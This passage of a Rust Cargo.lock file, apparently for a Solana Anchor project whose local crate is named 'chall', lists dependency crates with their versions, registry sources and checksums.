"registry+https://github.com/rust-lang/crates.io-index" 69 | checksum = "3b5bd1dcfa7f3bc22dacef233d70a9e0bee269c4ac484510662f257cba2353a1" 70 | dependencies = [ 71 | "anchor-syn", 72 | "proc-macro2", 73 | "quote", 74 | "syn", 75 | ] 76 | 77 | [[package]] 78 | name = "anchor-attribute-event" 79 | version = "0.24.2" 80 | source = "registry+https://github.com/rust-lang/crates.io-index" 81 | checksum = "6c6f9e6ce551ac9a177a45c99a65699a860c9e95fac68675138af1246e2591b0" 82 | dependencies = [ 83 | "anchor-syn", 84 | "anyhow", 85 | "proc-macro2", 86 | "quote", 87 | "syn", 88 | ] 89 | 90 | [[package]] 91 | name = "anchor-attribute-interface" 92 | version = "0.24.2" 93 | source = "registry+https://github.com/rust-lang/crates.io-index" 94 | checksum = "d104aa17418cb329ed7418b227e083d5f326a27f26ce98f5d92e33da62a5f459" 95 | dependencies = [ 96 | "anchor-syn", 97 | "anyhow", 98 | "heck", 99 | "proc-macro2", 100 | "quote", 101 | "syn", 102 | ] 103 | 104 | [[package]] 105 | name = "anchor-attribute-program" 106 | version = "0.24.2" 107 | source = "registry+https://github.com/rust-lang/crates.io-index" 108 | checksum = "b6831b920b173c004ddf7ae1167d1d25e9f002ffcb1773bbc5c7ce532a4441e1" 109 | dependencies = [ 110 | "anchor-syn", 111 | "anyhow", 112 | "proc-macro2", 113 | "quote", 114 | "syn", 115 | ] 116 | 117 | [[package]] 118 | name = "anchor-attribute-state" 119 | version = "0.24.2" 120 | source = "registry+https://github.com/rust-lang/crates.io-index" 121 | checksum = "cde147b10c71d95dc679785db0b5f3abac0091f789167aa62ac0135e2f54e8b9" 122 | dependencies = [ 123 | "anchor-syn", 124 | "anyhow", 125 | "proc-macro2", 126 | "quote", 127 | "syn", 128 | ] 129 | 130 | [[package]] 131 | name = "anchor-derive-accounts" 132 | version = "0.24.2" 133 | source = "registry+https://github.com/rust-lang/crates.io-index" 134 | checksum = "9cde98a0e1a56046b040ff591dfda391f88917af2b6487d02b45093c05be3514" 135 | dependencies = [ 136 | "anchor-syn", 137 | "anyhow", 138 | "proc-macro2", 139 | "quote", 140 | "syn", 141 | ] 142 | 143 | [[package]] 144 | name = "anchor-lang" 145 | version = "0.24.2" 146 | source = "registry+https://github.com/rust-lang/crates.io-index" 147 | checksum = "a85dd2c5e29e20c7f4701a43724d6cd5406d0ee5694705522e43da0f26542a84" 148 | dependencies = [ 149 | "anchor-attribute-access-control", 150 | "anchor-attribute-account", 151 | "anchor-attribute-constant", 152 | "anchor-attribute-error", 153 | "anchor-attribute-event", 154 | "anchor-attribute-interface", 155 | "anchor-attribute-program", 156 | "anchor-attribute-state", 157 | "anchor-derive-accounts", 158 | "arrayref", 159 | "base64 0.13.0", 160 | "bincode", 161 | "borsh", 162 | "bytemuck", 163 | "solana-program", 164 | "thiserror", 165 | ] 166 | 167 | [[package]] 168 | name = "anchor-spl" 169 | version = "0.24.2" 170 | source = "registry+https://github.com/rust-lang/crates.io-index" 171 | checksum = "0188c33b4a3c124c4e593f2b440415aaea70a7650fac6ba0772395385d71c003" 172 | dependencies = [ 173 | "anchor-lang", 174 | "solana-program", 175 | "spl-associated-token-account", 176 | "spl-token", 177 | ] 178 | 179 | [[package]] 180 | name = "anchor-syn" 181 | version = "0.24.2" 182 | source = "registry+https://github.com/rust-lang/crates.io-index" 183 | checksum = "03549dc2eae0b20beba6333b14520e511822a6321cdb1760f841064a69347316" 184 | dependencies = [ 185 | "anyhow", 186 | "bs58 0.3.1", 187 | "heck", 188 | "proc-macro2", 189 | "proc-macro2-diagnostics", 190 | "quote", 191 | "serde", 192 | "serde_json", 193 | "sha2", 194 | "syn", 195 | "thiserror", 196 | ] 197 | 198 | [[package]] 199 | name = "anyhow" 200 | version = "1.0.58" 201 | source = "registry+https://github.com/rust-lang/crates.io-index" 202 | checksum = "bb07d2053ccdbe10e2af2995a2f116c1330396493dc1269f6a91d0ae82e19704" 203 | 204 | [[package]] 205 | name = "arrayref" 206 | version = "0.3.6" 207 | source = "registry+https://github.com/rust-lang/crates.io-index" 208 | checksum = "a4c527152e37cf757a3f78aae5a06fbeefdb07ccc535c980a3208ee3060dd544" 209 | 210 | [[package]] 211 | name = "arrayvec" 212 | version = "0.7.2" 213 | source = "registry+https://github.com/rust-lang/crates.io-index" 214 | checksum = "8da52d66c7071e2e3fa2a1e5c6d088fec47b593032b254f5e980de8ea54454d6" 215 | 216 | [[package]] 217 | name = "atty" 218 | version = "0.2.14" 219 | source = "registry+https://github.com/rust-lang/crates.io-index" 220 | checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" 221 | dependencies = [ 222 | "hermit-abi", 223 | "libc", 224 | "winapi", 225 | ] 226 | 227 | [[package]] 228 | name = "autocfg" 229 | version = "1.1.0" 230 | source = "registry+https://github.com/rust-lang/crates.io-index" 231 | checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" 232 | 233 | [[package]] 234 | name = "base64" 235 | version = "0.12.3" 236 | source = "registry+https://github.com/rust-lang/crates.io-index" 237 | checksum = "3441f0f7b02788e948e47f457ca01f1d7e6d92c693bc132c22b087d3141c03ff" 238 | 239 | [[package]] 240 | name = "base64" 241 | version = "0.13.0" 242 | source = "registry+https://github.com/rust-lang/crates.io-index" 243 | checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd" 244 | 245 | [[package]] 246 | name = "bincode" 247 | version = "1.3.3" 248 | source = "registry+https://github.com/rust-lang/crates.io-index" 249 | checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad" 250 | dependencies = [ 251 | "serde", 252 | ] 253 | 254 | [[package]] 255 | name = "bitflags" 256 | version = "1.3.2" 257 | source = "registry+https://github.com/rust-lang/crates.io-index" 258 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 259 | 260 | [[package]] 261 | name = "blake3" 262 | version = "1.3.1" 263 | source = "registry+https://github.com/rust-lang/crates.io-index" 264 | checksum = "a08e53fc5a564bb15bfe6fae56bd71522205f1f91893f9c0116edad6496c183f" 265 | dependencies = [ 266 | "arrayref", 267 | "arrayvec", 268 | "cc", 269 | "cfg-if", 270 | "constant_time_eq", 271 | "digest 0.10.3", 272 | ] 273 | 274 | [[package]] 275 | name = "block-buffer" 276 | version = "0.9.0" 277 | source = "registry+https://github.com/rust-lang/crates.io-index" 278 | checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4" 279 | dependencies = [ 280 | "block-padding", 281 | "generic-array", 282 | ] 283 | 284 | [[package]] 285 | name = "block-buffer" 286 | version = "0.10.2" 287 | source = "registry+https://github.com/rust-lang/crates.io-index" 288 | checksum = "0bf7fe51849ea569fd452f37822f606a5cabb684dc918707a0193fd4664ff324" 289 | dependencies = [ 290 | "generic-array", 291 | ] 292 | 293 | [[package]] 294 | name = "block-padding" 295 | version = "0.2.1" 296 | source = "registry+https://github.com/rust-lang/crates.io-index" 297 | checksum = "8d696c370c750c948ada61c69a0ee2cbbb9c50b1019ddb86d9317157a99c2cae" 298 | 299 | [[package]] 300 | name = "borsh" 301 | version = "0.9.3" 302 | source = "registry+https://github.com/rust-lang/crates.io-index" 303 | checksum = "15bf3650200d8bffa99015595e10f1fbd17de07abbc25bb067da79e769939bfa" 304 | dependencies = [ 305 | "borsh-derive", 306 | "hashbrown", 307 | ] 308 | 309 | [[package]] 310 | name = "borsh-derive" 311 | version = "0.9.3" 312 | source = "registry+https://github.com/rust-lang/crates.io-index" 313 | checksum = "6441c552f230375d18e3cc377677914d2ca2b0d36e52129fe15450a2dce46775" 314 | dependencies = [ 315 | "borsh-derive-internal", 316 | "borsh-schema-derive-internal", 317 | "proc-macro-crate 0.1.5", 318 | "proc-macro2", 319 | "syn", 320 | ] 321 | 322 | [[package]] 323 | name = "borsh-derive-internal" 324 | version = "0.9.3" 325 | source = "registry+https://github.com/rust-lang/crates.io-index" 326 | checksum = "5449c28a7b352f2d1e592a8a28bf139bc71afb0764a14f3c02500935d8c44065" 327 | dependencies = [ 328 | "proc-macro2", 329 | "quote", 330 | "syn", 331 | ] 332 | 333 | [[package]] 334 | name = "borsh-schema-derive-internal" 335 | version = "0.9.3" 336 | source = "registry+https://github.com/rust-lang/crates.io-index" 337 | checksum = "cdbd5696d8bfa21d53d9fe39a714a18538bad11492a42d066dbbc395fb1951c0" 338 | dependencies = [ 339 | "proc-macro2", 340 | "quote", 341 | "syn", 342 | ] 343 | 344 | [[package]] 345 | name = "bs58" 346 | version = "0.3.1" 347 | source = "registry+https://github.com/rust-lang/crates.io-index" 348 | checksum = "476e9cd489f9e121e02ffa6014a8ef220ecb15c05ed23fc34cca13925dc283fb" 349 | 350 | [[package]] 351 | name = "bs58" 352 | version = "0.4.0" 353 | source = "registry+https://github.com/rust-lang/crates.io-index" 354 | checksum = "771fe0050b883fcc3ea2359b1a96bcfbc090b7116eae7c3c512c7a083fdf23d3" 355 | 356 | [[package]] 357 | name = "bumpalo" 358 | version = "3.10.0" 359 | source = "registry+https://github.com/rust-lang/crates.io-index" 360 | checksum = "37ccbd214614c6783386c1af30caf03192f17891059cecc394b4fb119e363de3" 361 | 362 | [[package]] 363 | name = "bv" 364 | version = "0.11.1" 365 | source = "registry+https://github.com/rust-lang/crates.io-index" 366 | checksum = "8834bb1d8ee5dc048ee3124f2c7c1afcc6bc9aed03f11e9dfd8c69470a5db340" 367 | dependencies = [ 368 | "feature-probe", 369 | "serde", 370 | ] 371 | 372 | [[package]] 373 | name = "bytemuck" 374 | version = "1.10.0" 375 | source = "registry+https://github.com/rust-lang/crates.io-index" 376 | checksum = "c53dfa917ec274df8ed3c572698f381a24eef2efba9492d797301b72b6db408a" 377 | dependencies = [ 378 | "bytemuck_derive", 379 | ] 380 | 381 | [[package]] 382 | name = "bytemuck_derive" 383 | version = "1.1.0" 384 | source = "registry+https://github.com/rust-lang/crates.io-index" 385 | checksum = "562e382481975bc61d11275ac5e62a19abd00b0547d99516a415336f183dcd0e" 386 | dependencies = [ 387 | "proc-macro2", 388 | "quote", 389 | "syn", 390 | ] 391 | 392 | [[package]] 393 | name = "byteorder" 394 | version = "1.4.3" 395 | source = "registry+https://github.com/rust-lang/crates.io-index" 396 | checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" 397 | 398 | [[package]] 399 | name = "cc" 400 | version = "1.0.73" 401 | source = "registry+https://github.com/rust-lang/crates.io-index" 402 | checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11" 403 | 404 | [[package]] 405 | name = "cfg-if" 406 | version = "1.0.0" 407 | source = "registry+https://github.com/rust-lang/crates.io-index" 408 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 409 | 410 | [[package]] 411 | name = "chall" 412 | version = "0.1.0" 413 | dependencies = [ 414 | "anchor-lang", 415 | "anchor-spl", 416 | ] 417 | 418 | [[package]] 419 | name = "console_error_panic_hook" 420 | version = "0.1.7" 421 | source = "registry+https://github.com/rust-lang/crates.io-index" 422 | checksum = "a06aeb73f470f66dcdbf7223caeebb85984942f22f1adb2a088cf9668146bbbc" 423 | dependencies = [ 424 | "cfg-if", 425 | "wasm-bindgen", 426 | ] 427 | 428 | [[package]] 429 | name = "console_log" 430 | version = "0.2.0" 431 | source = "registry+https://github.com/rust-lang/crates.io-index" 432 | checksum = "501a375961cef1a0d44767200e66e4a559283097e91d0730b1d75dfb2f8a1494" 433 | dependencies = [ 434 | "log", 435 | "web-sys", 436 | ] 437 | 438 | [[package]] 439 | name = "constant_time_eq" 440 | version = "0.1.5" 441 | source = "registry+https://github.com/rust-lang/crates.io-index" 442 | checksum = "245097e9a4535ee1e3e3931fcfcd55a796a44c643e8596ff6566d68f09b87bbc" 443 | 444 | [[package]] 445 | name = "cpufeatures" 446 | version = "0.2.2" 447 | source = "registry+https://github.com/rust-lang/crates.io-index" 448 | checksum = "59a6001667ab124aebae2a495118e11d30984c3a653e99d86d58971708cf5e4b" 449 | dependencies = [ 450 | "libc", 451 | ] 452 | 453 | [[package]] 454 | name = "crunchy" 455 | version = "0.2.2" 456 | source = "registry+https://github.com/rust-lang/crates.io-index" 457 | checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7" 458 | 459 | [[package]] 460 | name = "crypto-common" 461 | version = "0.1.6" 462 | source = "registry+https://github.com/rust-lang/crates.io-index" 463 | checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" 464 | dependencies = [ 465 | "generic-array", 466 | "typenum", 467 | ] 468 | 469 | [[package]] 470 | name = "crypto-mac" 471 | version = "0.8.0" 472 | source = "registry+https://github.com/rust-lang/crates.io-index" 473 | checksum = "b584a330336237c1eecd3e94266efb216c56ed91225d634cb2991c5f3fd1aeab" 474 | dependencies = [ 475 | "generic-array", 476 | "subtle", 477 | ] 478 | 479 | [[package]] 480 | name = "curve25519-dalek" 481 | version = "3.2.1" 482 | source = "registry+https://github.com/rust-lang/crates.io-index" 483 | checksum = "90f9d052967f590a76e62eb387bd0bbb1b000182c3cefe5364db6b7211651bc0" 484 | dependencies = [ 485 | "byteorder", 486 | "digest 0.9.0", 487 | "rand_core", 488 | "subtle", 489 | "zeroize", 490 | ] 491 | 492 | [[package]] 493 | name = "digest" 494 | version = "0.9.0" 495 | source = "registry+https://github.com/rust-lang/crates.io-index" 496 | checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066" 497 | dependencies = [ 498 | "generic-array", 499 | ] 500 | 501 | [[package]] 502 | name = "digest" 503 | version = "0.10.3" 504 | source = "registry+https://github.com/rust-lang/crates.io-index" 505 | checksum = "f2fb860ca6fafa5552fb6d0e816a69c8e49f0908bf524e30a90d97c85892d506" 506 | dependencies = [ 507 | "block-buffer 0.10.2", 508 | "crypto-common", 509 | "subtle", 510 | ] 511 | 512 | [[package]] 513 | name = "either" 514 | version = "1.7.0" 515 | source = "registry+https://github.com/rust-lang/crates.io-index" 516 | checksum = "3f107b87b6afc2a64fd13cac55fe06d6c8859f12d4b14cbcdd2c67d0976781be" 517 | 518 | [[package]] 519 | name = "env_logger" 520 | version = "0.9.0" 521 | source = "registry+https://github.com/rust-lang/crates.io-index" 522 | checksum = "0b2cf0344971ee6c64c31be0d530793fba457d322dfec2810c453d0ef228f9c3" 523 | dependencies = [ 524 | "atty", 525 | "humantime", 526 | "log", 527 | "regex", 528 | "termcolor", 529 | ] 530 | 531 | [[package]] 532 | name = "feature-probe" 533 | version = "0.1.1" 534 | source = "registry+https://github.com/rust-lang/crates.io-index" 535 | checksum = "835a3dc7d1ec9e75e2b5fb4ba75396837112d2060b03f7d43bc1897c7f7211da" 536 | 537 | [[package]] 538 | name = "generic-array" 539 | version = "0.14.5" 540 | source = "registry+https://github.com/rust-lang/crates.io-index" 541 | checksum = "fd48d33ec7f05fbfa152300fdad764757cbded343c1aa1cff2fbaf4134851803" 542 | dependencies = [ 543 | "serde", 544 | "typenum", 545 | "version_check", 546 | ] 547 | 548 | [[package]] 549 | name = "getrandom" 550 | version = "0.1.16" 551 | source = "registry+https://github.com/rust-lang/crates.io-index" 552 | checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" 553 | dependencies = [ 554 | "cfg-if", 555 | "js-sys", 556 | "libc", 557 | "wasi 0.9.0+wasi-snapshot-preview1", 558 | "wasm-bindgen", 559 | ] 560 | 561 | [[package]] 562 | name = "getrandom" 563 | version = "0.2.7" 564 | source = "registry+https://github.com/rust-lang/crates.io-index" 565 | checksum = "4eb1a864a501629691edf6c15a593b7a51eebaa1e8468e9ddc623de7c9b58ec6" 566 | dependencies = [ 567 | "cfg-if", 568 | "libc", 569 | "wasi 0.11.0+wasi-snapshot-preview1", 570 | ] 571 | 572 | [[package]] 573 | name = "hashbrown" 574 | version = "0.11.2" 575 | source = "registry+https://github.com/rust-lang/crates.io-index" 576 | checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e" 577 | dependencies = [ 578 | "ahash", 579 | ] 580 | 581 | [[package]] 582 | name = "heck" 583 | version = "0.3.3" 584 | source = "registry+https://github.com/rust-lang/crates.io-index" 585 | checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" 586 | dependencies = [ 587 | "unicode-segmentation", 588 | ] 589 | 590 | [[package]] 591 | name = "hermit-abi" 592 | version = "0.1.19" 593 | source = "registry+https://github.com/rust-lang/crates.io-index" 594 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" 595 | dependencies = [ 596 | "libc", 597 | ] 598 | 599 | [[package]] 600 | name = "hmac" 601 | version = "0.8.1" 602 | source = "registry+https://github.com/rust-lang/crates.io-index" 603 | checksum = "126888268dcc288495a26bf004b38c5fdbb31682f992c84ceb046a1f0fe38840" 604 | dependencies = [ 605 | "crypto-mac", 606 | "digest 0.9.0", 607 | ] 608 | 609 | [[package]] 610 | name = "hmac-drbg" 611 | version = "0.3.0" 612 | source = "registry+https://github.com/rust-lang/crates.io-index" 613 | checksum = "17ea0a1394df5b6574da6e0c1ade9e78868c9fb0a4e5ef4428e32da4676b85b1" 614 | dependencies = [ 615 | "digest 0.9.0", 616 | "generic-array", 617 | "hmac", 618 | ] 619 | 620 | [[package]] 621 | name = "humantime" 622 | version = "2.1.0" 623 | source = "registry+https://github.com/rust-lang/crates.io-index" 624 | checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" 625 | 626 | [[package]] 627 | name = "instant" 628 | version = "0.1.12" 629 | source = "registry+https://github.com/rust-lang/crates.io-index" 630 | checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" 631 | dependencies = [ 632 | "cfg-if", 633 | ] 634 | 635 | [[package]] 636 | name = "itertools" 637 | version = "0.10.3" 638 | source = "registry+https://github.com/rust-lang/crates.io-index" 639 | checksum = "a9a9d19fa1e79b6215ff29b9d6880b706147f16e9b1dbb1e4e5947b5b02bc5e3" 640 | dependencies = [ 641 | "either", 642 | ] 643 | 644 | [[package]] 645 | name = "itoa" 646 | version = "1.0.2" 647 | source = "registry+https://github.com/rust-lang/crates.io-index" 648 | checksum = "112c678d4050afce233f4f2852bb2eb519230b3cf12f33585275537d7e41578d" 649 | 650 | [[package]] 651 | name = "js-sys" 652 | version = "0.3.58" 653 | source = "registry+https://github.com/rust-lang/crates.io-index" 654 | checksum = "c3fac17f7123a73ca62df411b1bf727ccc805daa070338fda671c86dac1bdc27" 655 | dependencies = [ 656 | "wasm-bindgen", 657 | ] 658 | 659 | [[package]] 660 | name = "keccak" 661 | version = "0.1.2" 662 | source = "registry+https://github.com/rust-lang/crates.io-index" 663 | checksum = "f9b7d56ba4a8344d6be9729995e6b06f928af29998cdf79fe390cbf6b1fee838" 664 | 665 | [[package]] 666 | name = "lazy_static" 667 | version = "1.4.0" 668 | source = "registry+https://github.com/rust-lang/crates.io-index" 669 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 670 | 671 | [[package]] 672 | name = "libc" 673 | version = "0.2.126" 674 | source = "registry+https://github.com/rust-lang/crates.io-index" 675 | checksum = "349d5a591cd28b49e1d1037471617a32ddcda5731b99419008085f72d5a53836" 676 | 677 | [[package]] 678 | name = "libsecp256k1" 679 | version = "0.6.0" 680 | source = "registry+https://github.com/rust-lang/crates.io-index" 681 | checksum = "c9d220bc1feda2ac231cb78c3d26f27676b8cf82c96971f7aeef3d0cf2797c73" 682 | dependencies = [ 683 | "arrayref", 684 | "base64 0.12.3", 685 | "digest 0.9.0", 686 | "hmac-drbg", 687 | "libsecp256k1-core", 688 | "libsecp256k1-gen-ecmult", 689 | "libsecp256k1-gen-genmult", 690 | "rand", 691 | "serde", 692 | "sha2", 693 | "typenum", 694 | ] 695 | 696 | [[package]] 697 | name = "libsecp256k1-core" 698 | version = "0.2.2" 699 | source = "registry+https://github.com/rust-lang/crates.io-index" 700 | checksum = "d0f6ab710cec28cef759c5f18671a27dae2a5f952cdaaee1d8e2908cb2478a80" 701 | dependencies = [ 702 | "crunchy", 703 | "digest 0.9.0", 704 | "subtle", 705 | ] 706 | 707 | [[package]] 708 | name = "libsecp256k1-gen-ecmult" 709 | version = "0.2.1" 710 | source = "registry+https://github.com/rust-lang/crates.io-index" 711 | checksum = "ccab96b584d38fac86a83f07e659f0deafd0253dc096dab5a36d53efe653c5c3" 712 | dependencies = [ 713 | "libsecp256k1-core", 714 | ] 715 | 716 | [[package]] 717 | name = "libsecp256k1-gen-genmult" 718 | version = "0.2.1" 719 | source = "registry+https://github.com/rust-lang/crates.io-index" 720 | checksum = "67abfe149395e3aa1c48a2beb32b068e2334402df8181f818d3aee2b304c4f5d" 721 | dependencies = [ 722 | "libsecp256k1-core", 723 | ] 724 | 725 | [[package]] 726 | name = "lock_api" 727 | version = "0.4.7" 728 | source = "registry+https://github.com/rust-lang/crates.io-index" 729 | checksum = "327fa5b6a6940e4699ec49a9beae1ea4845c6bab9314e4f84ac68742139d8c53" 730 | dependencies = [ 731 | "autocfg", 732 | "scopeguard", 733 | ] 734 | 735 | [[package]] 736 | name = "log" 737 | version = "0.4.17" 738 | source = "registry+https://github.com/rust-lang/crates.io-index" 739 | checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" 740 | dependencies = [ 741 | "cfg-if", 742 | ] 743 | 744 | [[package]] 745 | name = "memchr" 746 | version = "2.5.0" 747 | source = "registry+https://github.com/rust-lang/crates.io-index" 748 | checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" 749 | 750 | [[package]] 751 | name = "memmap2" 752 | version = "0.5.5" 753 | source = "registry+https://github.com/rust-lang/crates.io-index" 754 | checksum = "3a79b39c93a7a5a27eeaf9a23b5ff43f1b9e0ad6b1cdd441140ae53c35613fc7" 755 | dependencies = [ 756 | "libc", 757 | ] 758 | 759 | [[package]] 760 | name = "num-derive" 761 | version = "0.3.3" 762 | source = "registry+https://github.com/rust-lang/crates.io-index" 763 | checksum = "876a53fff98e03a936a674b29568b0e605f06b29372c2489ff4de23f1949743d" 764 | dependencies = [ 765 | "proc-macro2", 766 | "quote", 767 | "syn", 768 | ] 769 | 770 | [[package]] 771 | name = "num-traits" 772 | version = "0.2.15" 773 | source = "registry+https://github.com/rust-lang/crates.io-index" 774 | checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd" 775 | dependencies = [ 776 | "autocfg", 777 | ] 778 | 779 | [[package]] 780 | name = "num_enum" 781 | version = "0.5.7" 782 | source = "registry+https://github.com/rust-lang/crates.io-index" 783 | checksum = "cf5395665662ef45796a4ff5486c5d41d29e0c09640af4c5f17fd94ee2c119c9" 784 | dependencies = [ 785 | "num_enum_derive", 786 | ] 787 | 788 | [[package]] 789 | name = "num_enum_derive" 790 | version = "0.5.7" 791 | source = "registry+https://github.com/rust-lang/crates.io-index" 792 | checksum = "3b0498641e53dd6ac1a4f22547548caa6864cc4933784319cd1775271c5a46ce" 793 | dependencies = [ 794 | "proc-macro-crate 1.1.3", 795 | "proc-macro2", 796 | "quote", 797 | "syn", 798 | ] 799 | 800 | [[package]] 801 | name = "once_cell" 802 | version = "1.13.0" 803 | source = "registry+https://github.com/rust-lang/crates.io-index" 804 | checksum = "18a6dbe30758c9f83eb00cbea4ac95966305f5a7772f3f42ebfc7fc7eddbd8e1" 805 | 806 | [[package]] 807 | name = "opaque-debug" 808 | version = "0.3.0" 809 | source = "registry+https://github.com/rust-lang/crates.io-index" 810 | checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" 811 | 812 | [[package]] 813 | name = "parking_lot" 814 | version = "0.11.2" 815 | source = "registry+https://github.com/rust-lang/crates.io-index" 816 | checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99" 817 | dependencies = [ 818 | "instant", 819 | "lock_api", 820 | "parking_lot_core", 821 | ] 822 | 823 | [[package]] 824 | name = "parking_lot_core" 825 | version = "0.8.5" 826 | source = "registry+https://github.com/rust-lang/crates.io-index" 827 | checksum = "d76e8e1493bcac0d2766c42737f34458f1c8c50c0d23bcb24ea953affb273216" 828 | dependencies = [ 829 | "cfg-if", 830 | "instant", 831 | "libc", 832 | "redox_syscall", 833 | "smallvec", 834 | "winapi", 835 | ] 836 | 837 | [[package]] 838 | name = "ppv-lite86" 839 | version = "0.2.16" 840 | source = "registry+https://github.com/rust-lang/crates.io-index" 841 | checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" 842 | 843 | [[package]] 844 | name = "proc-macro-crate" 845 | version = "0.1.5" 846 | source = "registry+https://github.com/rust-lang/crates.io-index" 847 | checksum = "1d6ea3c4595b96363c13943497db34af4460fb474a95c43f4446ad341b8c9785" 848 | dependencies = [ 849 | "toml", 850 | ] 851 | 852 | [[package]] 853 | name = "proc-macro-crate" 854 | version = "1.1.3" 855 | source = "registry+https://github.com/rust-lang/crates.io-index" 856 | checksum = "e17d47ce914bf4de440332250b0edd23ce48c005f59fab39d3335866b114f11a" 857 | dependencies = [ 858 | "thiserror", 859 | "toml", 860 | ] 861 | 862 | [[package]] 863 | name = "proc-macro2" 864 | version = "1.0.40" 865 | source = "registry+https://github.com/rust-lang/crates.io-index" 866 | checksum = "dd96a1e8ed2596c337f8eae5f24924ec83f5ad5ab21ea8e455d3566c69fbcaf7" 867 | dependencies = [ 868 | "unicode-ident", 869 | ] 870 | 871 | [[package]] 872 | name = "proc-macro2-diagnostics" 873 | version = "0.9.1" 874 | source = "registry+https://github.com/rust-lang/crates.io-index" 875 | checksum = "4bf29726d67464d49fa6224a1d07936a8c08bb3fba727c7493f6cf1616fdaada" 876 | dependencies = [ 877 | "proc-macro2", 878 | "quote", 879 | "syn", 880 | "version_check", 881 | "yansi", 882 | ] 883 | 884 | [[package]] 885 | name = "quote" 886 | version = "1.0.20" 887 | source = "registry+https://github.com/rust-lang/crates.io-index" 888 | checksum = "3bcdf212e9776fbcb2d23ab029360416bb1706b1aea2d1a5ba002727cbcab804" 889 | dependencies = [ 890 | "proc-macro2", 891 | ] 892 | 893 | [[package]] 894 | name = "rand" 895 | version = "0.7.3" 896 | source = "registry+https://github.com/rust-lang/crates.io-index" 897 | checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" 898 | dependencies = [ 899 | "getrandom 0.1.16", 900 | "libc", 901 | "rand_chacha", 902 | "rand_core", 903 | "rand_hc", 904 | ] 905 | 906 | [[package]] 907 | name = "rand_chacha" 908 | version = "0.2.2" 909 | source = "registry+https://github.com/rust-lang/crates.io-index" 910 | checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" 911 | dependencies = [ 912 | "ppv-lite86", 913 | "rand_core", 914 | ] 915 | 916 | [[package]] 917 | name = "rand_core" 918 | version = "0.5.1" 919 | source = "registry+https://github.com/rust-lang/crates.io-index" 920 | checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" 921 | dependencies = [ 922 | "getrandom 0.1.16", 923 | ] 924 | 925 | [[package]] 926 | name = "rand_hc" 927 | version = "0.2.0" 928 | source = "registry+https://github.com/rust-lang/crates.io-index" 929 | checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" 930 | dependencies = [ 931 | "rand_core", 932 | ] 933 | 934 | [[package]] 935 | name = "redox_syscall" 936 | version = "0.2.13" 937 | source = "registry+https://github.com/rust-lang/crates.io-index" 938 | checksum = "62f25bc4c7e55e0b0b7a1d43fb893f4fa1361d0abe38b9ce4f323c2adfe6ef42" 939 | dependencies = [ 940 | "bitflags", 941 | ] 942 | 943 | [[package]] 944 | name = "regex" 945 | version = "1.6.0" 946 | source = "registry+https://github.com/rust-lang/crates.io-index" 947 | checksum = "4c4eb3267174b8c6c2f654116623910a0fef09c4753f8dd83db29c48a0df988b" 948 | dependencies = [ 949 | "aho-corasick", 950 | "memchr", 951 | "regex-syntax", 952 | ] 953 | 954 | [[package]] 955 | name = "regex-syntax" 956 | version = "0.6.27" 957 | source = "registry+https://github.com/rust-lang/crates.io-index" 958 | checksum = "a3f87b73ce11b1619a3c6332f45341e0047173771e8b8b73f87bfeefb7b56244" 959 | 960 | [[package]] 961 | name = "rustc_version" 962 | version = "0.4.0" 963 | source = "registry+https://github.com/rust-lang/crates.io-index" 964 | checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" 965 | dependencies = [ 966 | "semver", 967 | ] 968 | 969 | [[package]] 970 | name = "rustversion" 971 | version = "1.0.8" 972 | source = "registry+https://github.com/rust-lang/crates.io-index" 973 | checksum = "24c8ad4f0c00e1eb5bc7614d236a7f1300e3dbd76b68cac8e06fb00b015ad8d8" 974 | 975 | [[package]] 976 | name = "ryu" 977 | version = "1.0.10" 978 | source = "registry+https://github.com/rust-lang/crates.io-index" 979 | checksum = "f3f6f92acf49d1b98f7a81226834412ada05458b7364277387724a237f062695" 980 | 981 | [[package]] 982 | name = "scopeguard" 983 | version = "1.1.0" 984 | source = "registry+https://github.com/rust-lang/crates.io-index" 985 | checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" 986 | 987 | [[package]] 